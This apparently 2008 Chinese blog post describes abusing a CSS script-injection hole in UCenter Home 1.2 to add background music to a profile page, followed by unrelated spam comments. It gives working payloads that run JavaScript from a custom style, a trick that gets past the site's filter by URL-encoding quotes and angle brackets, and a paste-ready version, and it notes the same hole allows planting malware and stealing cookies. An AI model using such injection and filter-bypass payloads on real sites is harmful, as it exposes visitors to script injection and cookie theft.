利用UCH1.2跨站脚本漏洞，为自己主页添加背景音乐
演示： //www.im286.net/?199072 注：IE6有效 (08年末加注：由于im286.net已经升级，所以地址已经失效。)
这个不是用的url(javascript:)，而是用的expression。
康盛官方解释：由于CSS里执行JS不好屏蔽，所以在下个版本（应该是1.5）对用户组进行限制，就是说不是所有的人都能自定义风格。
注：如果是来找代码的，请直接看底部。
某日凌晨，在编写一个网站字符过滤模块时，注意到可以在CSS里写JS，上网搜了一下，文章很多。方法也很简单
<style type=”text/css”>
body{
background:url(javascript:alert(“xxxsss”));
}
</style>
既然CSS里能执行javascript，而现在的SNS普遍可以自定义CSS，那么不就可以通过自定义CSS实现很多特效了吗。。尤其现在大量采用的UCH。
在5GSNS做测试，通过JS调用FLASH的方式实现音乐播放。（bgsound标签只播放MID和WMV）FLASH是事先做好的一个简单文件，用来播放MP3文件
//www.tianyus.com/mp3play.swf?videoSource=[要播放的音乐文件地址]
比如：//www.tianyus.com/mp3play.swf?
videoSource=//img.shouji.com.cn/upfiles/20080723/4685271295.mp3
然后写一段CSS
/*———————————————————————*/
background:url(javascript:document.getElementById
(“append_parent”).innerHTML='<object classid=”clsid:D27CDB6E-AE6D-11cf-96B8-
444553540000″ codebase=”//download.macromedia.com/pub/shockwave/cabs/flash/ swflash.cab#version=7,0,19,0″ width=”32″ height=”32″><param name=”movie”
value=”//www.tianyus.com/mp3play.swf?
videoSource=//www.xymy.net/bzmp3/bz/爱尔兰摇篮曲.mp3″ /><param
name=”quality” value=”high” /><embed src=”//www.tianyus.com/mp3play.swf?
videoSource=//www.xymy.net/bzmp3/bz/爱尔兰摇篮曲.mp3″ quality=”high”
pluginspage=”//www.macromedia.com/go/getflashplayer” type=”application/x-
shockwave-flash” width=”32″ height=”32″></embed></object>’);
/*———————————————————————*/
进入”主页风格”-“自定义风格”，把代码插入到BODY里，保存后看了下首页，并没
有音乐播放。反复试了几次，看代码，才发现里面一些HTML标签被替换了。仔细看了下，一共替换了3个””””<“”>”看来UCH做了过滤，不过问题不大，我们把冒号替换成%22，把<换成%3C，把>换成%3E。代码就是这样
/*———————————————————————*/
background:url(javascript:document.getElementById(%22append_parent%
22).innerHTML=’%3Cobject classid=%22clsid:D27CDB6E-AE6D-11cf-96B8-444553540000%22 codebase=%22//download.macromedia.com/p … flash.cab#version=7,0
,19,0%22 width=%2232%22 height=%2232%22%3E%3Cparam name=%22movie%22 value=%22//www.tianyus.com/mp3play … .xymy.net/bzmp3/bz/爱尔兰摇篮曲.mp3%22 /%3E%3Cparam name=%22quality%22 value=%22high%22 /%3E%3Cembed src=%22//www.tianyus.com/mp3play.swf?
videoSource=//www.xymy.net/bzmp3/bz/爱尔兰摇篮曲.mp3%22 quality=%22high%22
pluginspage=%22//www.macromedia.com/go/getflashplayer%22 type=%
22application/x-shockwave-flash%22 width=%2232%22 height=%2232%22%3E%3C/embed%
3E%3C/object%3E’);}
/*———————————————————————*/
保存后进入个人主页//www.5gsns.com/718 ，听见了音乐，测试成功
至于这个漏洞是否严重，现在看，挂马，偷COOKIES应该是没有问题的。
把下面这段代码贴到自定义风格里，就可以加上音乐了
/*———————————————————————*/
* { word-break: break-all; word-wrap: break-word; }
body { text-align: center; background:url(javascript:document.getElementById(%22append_parent%22).innerHTML=’%3Cobject classid=%22clsid:D27CDB6E-AE6D-11cf-96B8-444553540000%22 codebase=%22//download.macromedia.com/p … flash.cab#version=7,0,19,0%22 width=%2202%22 height=%2202%22%3E%3Cparam name=%22movie%22 value=%2222//www.tianyus.com/mp3play.swf?videoSource=//www.xymy.net/bzmp3/bz/爱尔兰摇篮曲.mp3%22 /%3E%3Cparam name=%22quality%22 value=%22high%22 /%3E%3Cembed width=%220%22 height=%220%22 src=%2222//www.tianyus.com/mp3play.swf?videoSource=//www.xymy.net/bzmp3/bz/爱尔兰摇篮曲.mp3%22 quality=%22high%22 pluginspage=%22//www.macromedia.com/go/getflashplayer%22 type=%22application/x-shockwave-flash%22 width=%2232%22 height=%2232%22%3E%3C/embed%3E%3C/object%3E’);}
/*———————————————————————*/
代码中有两处 //www.xymy.net/bzmp3/bz/爱尔兰摇篮曲.mp3 是音乐地址，可随意替换。
Marvelous, what a blog it is! This web site gives valuable facts to
us, keep it up.
I do not even know how I ended up here, but I thought this post
was great. I do not know who you are but definitely you’re going to a famous blogger if you are not already 😉 Cheers!
My programmer is trying to persuade me to move to .net from PHP.
I have always disliked the idea because of the expenses.
But he’s tryiong none the less. I’ve been using WordPress on several websites for about a year and am nervous about switching to
another platform. I have heard fantastic things about blogengine.net.
Is there a way I can import all my wordpress posts into it?
Any help would be really appreciated!
Wonderful, what a website it is! This weblog presents useful information to us, keep it up.
adreamoftrains best web hosting 2020
Greetings! This is my first comment here so I just wanted to give a quick shout out and say I genuinely enjoy reading through your posts.
Can you suggest any other blogs/websites/forums that cover the same topics?
Thank you so much!
Great blog! Do you have any tips for aspiring writers?
I’m hoping to start my own website soon but
I’m a little lost on everything. Would you propose starting with a
free platform like WordPress or go for a paid option? There are
so many choices out there that I’m completely overwhelmed ..
Any tips? Thanks!
You could certainly see your expertise in the article you write.
The world hopes for even more passionate writers such as you who aren’t afraid to mention how
they believe. All the time go after your heart.
Hi, I do think this is a great website. I stumbledupon it 😉 I will come back yet again since i have
book-marked it. Money and freedom is the greatest way to
change, may you be rich and continue to help others.
Thank you for every other informative website. Where else could I am getting that type of information written in such
an ideal approach? I have a mission that I’m just now working on, and I’ve been at
the glance out for such info.
Excellent weblog right here! Also your web site so much up fast!
What host are you using? Can I am getting your associate hyperlink for your host?
I want my website loaded up as quickly as yours lol adreamoftrains
web host
When some one searches for his required thing, therefore he/she wishes to be available that in detail, therefore that thing is maintained over
here.
Today, I went to the beach with my children. I found a sea shell and gave it to
my 4 year old daughter and said “You can hear the ocean if you put this to your ear.”
She placed the shell to her ear and screamed. There was a hermit
crab inside and it pinched her ear. She never wants to
go back! LoL I know this is totally off topic but I had to tell someone!
Useful info. Lucky me I discovered your web site unintentionally, and I’m surprised why
this accident didn’t happened earlier! I bookmarked it.
Does your website have a contact page? I’m having problems locating it but, I’d like
to shoot you an e-mail. I’ve got some recommendations for
your blog you might be interested in hearing. Either way, great blog and I look
forward to seeing it develop over time.
Howdy! I know this is kinda off topic nevertheless I’d figured I’d ask.
Would you be interested in trading links or maybe guest writing
a blog post or vice-versa? My website discusses a lot of the same subjects as yours
and I believe we could greatly benefit from each other. If you’re interested feel free to shoot me an e-mail.
I look forward to hearing from you! Great blog by the way!
Amazing blog! Is your theme custom made or did you download it from somewhere?
A design like yours with a few simple tweeks would really make my blog jump out.
Please let me know where you got your theme. Bless you
For newest information you have to pay a visit web and on the web I found this
site as a best web page for newest updates. cheap flights 34pIoq5
It’s an amazing article designed for all the online users;
they will take advantage from it I am sure.
It’s genuinely very complicated in this active life to listen news
on Television, so I simply use internet for that purpose, and take the latest news.
I do believe all the ideas you have offered in your post.
They are really convincing and can certainly work.
Still, the posts are too short for novices. Could you please prolong them a little from next time?
Thank you for the post.
I am sure this post has touched all the internet
visitors, its really really pleasant piece of writing on building up new blog.